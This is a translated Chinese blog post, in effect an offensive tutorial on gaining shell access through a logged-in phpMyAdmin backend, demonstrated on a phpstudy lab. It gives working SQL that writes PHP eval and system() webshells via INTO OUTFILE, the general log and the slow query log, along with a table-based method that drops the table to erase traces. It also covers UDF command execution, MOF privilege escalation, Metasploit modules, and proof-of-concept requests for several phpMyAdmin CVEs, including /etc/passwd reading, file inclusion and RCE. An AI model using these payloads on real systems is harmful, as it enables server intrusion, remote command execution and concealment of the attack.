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phpmyadmin backend getshell and vulnerability exploitation

#webshell#漏洞利用#phpmyadmin#getshell281
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This post is translated from Chinese into English through AI.View Original
AI-generated summary
The article discusses the exploitation of vulnerabilities in phpMyAdmin backend to gain shell access. It provides various methods to gain access, such as weak passwords, brute force attacks, and directory leakage. It also explains different techniques to find the web path, including reading configuration files, using log variables, and Google search. The article further discusses the permissions required for writing a shell and provides examples of SQL queries to create a shell. It also mentions the use of the AntSword tool for remote connection.

Cause of the Incident#

Previously, I wrote an article about brute-forcing weak passwords for the phpMyAdmin backend.

So, after gaining login access to the phpMyAdmin backend, how can we write a shell to the server for further operations?

Environment Configuration#

Most vulnerabilities in phpMyAdmin can only be exploited after authentication, so access to the backend is required.

Methods to access the backend can include:

  • Weak passwords: root/root, root/empty, mysql/mysql
  • Brute force: Refer to my previous article on phpMyAdmin brute-forcing
  • Directory disclosure

The environment uses phpstudy version 2018, which previously had vulnerabilities that have been fixed.

image

  • Apache/2.4.23
  • PHP/5.4.45
  • MySQL/5.5.53

Required Conditions#

Here, I will list all possible permissions that may be needed; not all writing methods require all permissions.

Absolute Path#

Physical path

select version();  -- Check database version
select @@datadir;  -- Check database storage path
show VARIABLES like '%char%';  -- Check system variables

image

You can also obtain it through the log variable:

image

phpinfo() page: Ideally, it directly displays the web path.

Use select load_file() to read files and find the web path:

You can try files like /etc/passwd, apache|nginx|httpd log, etc.

Configuration file disclosure: If the injection point has file read permissions, you can try to read the configuration files through load_file.

# Windows
 c:\windows\php.ini                             # php configuration file
 c:\windows\system32\inetsrv\MetaBase.xml       # IIS virtual host configuration file
  # Linux
 /etc/php.ini                                   # php configuration file
 /etc/httpd/conf.d/php.conf
 /etc/httpd/conf/httpd.conf                     # Apache configuration file
 /usr/local/apache/conf/httpd.conf
 /usr/local/apache2/conf/httpd.conf
 /usr/local/apache/conf/extra/httpd-vhosts.conf # Virtual directory configuration file

Single quote path disclosure: Directly add a single quote at the end of the URL. This requires that the single quote is not filtered (gpc=off) and the server returns error messages by default.

www.abc.com/index.php?id=1'

Error parameter value path disclosure: Try changing the parameter value to an incorrect value.

www.abc.com/index.php?id=-1

Nginx file type error parsing path disclosure: Requires the Web server to be Nginx and have a file type parsing vulnerability.

Add /x.php after the image address; this image will not only be executed as a php file but may also disclose the physical path.

www.abc.com/bg.jpg/x.php

Google path disclosure:

site:xxx.com warning
site:xxx.com “fatal error”

Test file path disclosure:

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

Others

phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

Check if the Account Has Read and Write Permissions#

If you encounter an error when writing the shell, you can also check the following user permissions:

select * from mysql.user;                // Query all user permissions
select * from mysql.user where user="root";        // Query root user permissions
update user set File_priv ='Y' where user = 'root';      // Allow root user to read and write files
update user set File_priv ='N' where user = 'root';      // Disallow root user to read and write files
flush privileges;                    // Refresh MySQL system privilege-related tables

image

Check if the Path Has Read and Write Permissions#

secure_file_priv Permission#

select @@secure_file_priv;   -- Query secure_file_priv
 -- secure_file_priv=NULL, prohibits import and export
 -- secure_file_priv='', no restrictions on import and export, default writable to /tmp directory in Linux
 -- secure_file_priv=/path/, can only import and export to the specified directory

Find secure_file_priv in my.ini, my.cnf, or mysqld.cnf files and set its value to "" or "/", then restart the MySQL service!

This is a general method; the mysql configuration file in phpstudy does not have this parameter.

So we can add a line secure_file_priv = to the configuration file.

image

image

Restart mysql and check again:

image

Log Read and Write Permissions#

Check the log status:

show variables  like  '%general%';

image

When general is enabled, all executed sql statements will appear in ***.log files.

Then, if you modify the value of general_log_file, the executed sql statements will generate a shell.

Enable log read and write:

SET GLOBAL general_log='on'

image

Other Permissions#

magic_quotes_gpc: When enabled, it escapes single quotes to become \ backslashes.

Getshell#

Regular Getshell#

The required conditions are:

  • The current database user has write permissions
  • Know the web absolute path
  • The web path is writable

Usage:

select '<?php @eval($_POST[soap]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\config.php';

image

Note that if you are executing the write in the phpmyadmin SQL statement, the path can only be a forward slash / or double backslashes \.

If you get an error message Can't create/write to file 'xxx/xxx/xxx.php' (Errcode: 13), it indicates that the directory is not writable. You can try other directories under the website, such as:

  • /upload
  • /templates
  • /cache

Writing a Chinese path shell:

set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[soap]);?>' into outfile 'C:\\phpStudy\\WWW\\测试\\config.php';

Ant Sword connection: http://192.168.1.7/config.php, password: soap

image

image

You can also use it like this:

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test.php';

Access link: http://192.168.1.7/test.php?cmd=net user

image

image

You can also use it in places with injection points like this:

id=1) into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\settings.php' fields terminated by '<?php @eval($_POST[]);?>'

Create Table Getshell#

You can also operate directly in phpmyadmin, or create a table directly with SQL statements:

CREATE TABLE `mysql`.`soapffz` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`soapffz` (`content` ) VALUES ('<?php @eval($_POST[soap]);?>');
SELECT `content` FROM `mysql`.`soapffz` INTO OUTFILE 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
or
Create TABLE soapffz (content text NOT NULL);
Insert INTO soapffz (content) VALUES('<?php @eval($_POST[pass]);?>');
select `content` from mysql.soapffz into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
Then delete the created table to erase traces
DROP TABLE IF EXISTS `mysql`.`soapffz`;

image

Connect to the shell.

Log Getshell#

Required conditions:

  • Log recording is enabled
  • Web absolute path

Actual operations performed:

  • Modify the log file to be a webshell.

Getshell by Writing to Log File#

Note that by:

show global variables like "%genera%";
set global general_log='on';

The operations set in the specified log directory will be invalid after restarting phpstudy.

Specify the log file:

set global general_log_file = "C:/phpstudy/PHPTutorial/WWW/test2.php";

Write execution code:

SELECT '<?php eval($_POST["soap"]);?>'

Write Shell via Slow Query#

Check the current slow query log directory:

show variables like '%slow%';

image

Reset the path:

set GLOBAL slow_query_log_file='C:/phpstudy/PHPTutorial/WWW/slow.php';

Enable slow query logging:

set GLOBAL slow_query_log=on;

Execute to write to the log:

select '<?php eval($_POST["soap"]);?>' from mysql.db where sleep(10);

User Defined Function (UDF)#

Applicable to Windows and Linux environments.

Required conditions:

  • Has write permissions
  • Plugin directory is writable (or can change the specified plugin directory).

Specific situations depend on the target MySQL version:

  • Mysql version > 5.1, the dll or so must be located in the mysql installation directory lib\plugin. When you have write permissions to that directory, you can utilize it. Check:
    show variables like %plugin%； // Check plugin directory
  • 5.0 <= Mysql version <5.1, needs to be exported to the target server's system directory, such as C://Windows/System32
  • Mysql version < 5.0, the directory can be customized. Specific utilization is as follows:

Write specific directory so or dll according to the target mysql version, you can refer to sqlmap:

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\lib_mysqludf_sys.dll';

Create the corresponding function:

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

Execute command:

select * from mysql.func where name = 'sys_eval'; # Check the created sys_eval function
select sys_eval('whoami'); # Use system command

MOF Privilege Escalation#

Write a file to a MOF file through mysql, replacing the original MOF file, then the system will execute the uploaded MOF every five seconds.

Generally applicable to Windows <= 2003, and the C:\Windows\System32\mof directory has write permissions (which is generally not writable).

You can use MSF to exploit directly: exploit/windows/mysql/mysql_mof.

Special Version Getshell#

CVE-2013-3238
Affected versions: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
Exploitation module: exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
Affected version: phpMyAdmin v3.5.2.2
Exploitation module: exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
Command execution exists in the phpMyAdmin configuration file /config/config.inc.php
Affected versions: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
Exploitation module: exploit/unix/webapp/phpmyadmin_config
Weak passwords & universal passwords
Weak password: version phpmyadmin2.11.9.2, directly login as root user without a password
Universal password: version 2.11.3 / 2.11.4, username 'localhost'@'@" will log in successfully

phpMyAdmin Vulnerability Exploitation#

WooYun-2016-1994 33: Arbitrary file reading vulnerability.

Affects phpMyAdmin 2.x versions, poc as follows:

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

CVE-2014 -8959: Local file inclusion.

Affected range: phpMyAdmin 4.0.1--4.2.12, requires PHP version < 5.3.4, Poc as follows:

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00    # Note to change the token value

In actual exploitation, you can write files to the /tmp directory in conjunction with this vulnerability to achieve RCE, the php version can be seen through the http header or by exporting table content to file.

CVE-2016-5734: Backend RCE.

Affected range: PhpMyAdmin 4.0.x-4.6.2, requires PHP 4.3.0-5.4.6 versions, exploitation as follows:

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

CVE-2018-1261: Backend file inclusion.

phpMyAdmin 4.8.0 and 4.8.1, verified to achieve arbitrary file inclusion. Exploitation as follows:

Execute SQL statement to write PHP code into Session file:

select '<?php phpinfo();exit;?>'

Include session file:

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_*** # *** is the phpMyAdmin COOKIE value

CVE-2018-19968: Arbitrary file inclusion /RCE.

phpMyAdmin 4.8.0~4.8.3, exploitation as follows:

Create a database and write PHP code into Session file:

CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

Generate phpMyAdmin configuration table for the foo database, access:

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

Tamper with data inserted into pma column_info:

INSERT INTO `pma__column_info` SELECT '1', 'foo', 'bar', 'baz', 'plop','plop', 'plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** is the phpMyAdmin COOKIE value

Here, note that the system's session save location is different; specific systems can be seen on the homepage after logging into phpMyAdmin.

MacOS: /var/tmp
Linux: /var/lib/php/sessions
phpStudy: /phpstudy/PHPTutorial/tmp/tmp

Access the address containing the Session file:

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

Reference articles:

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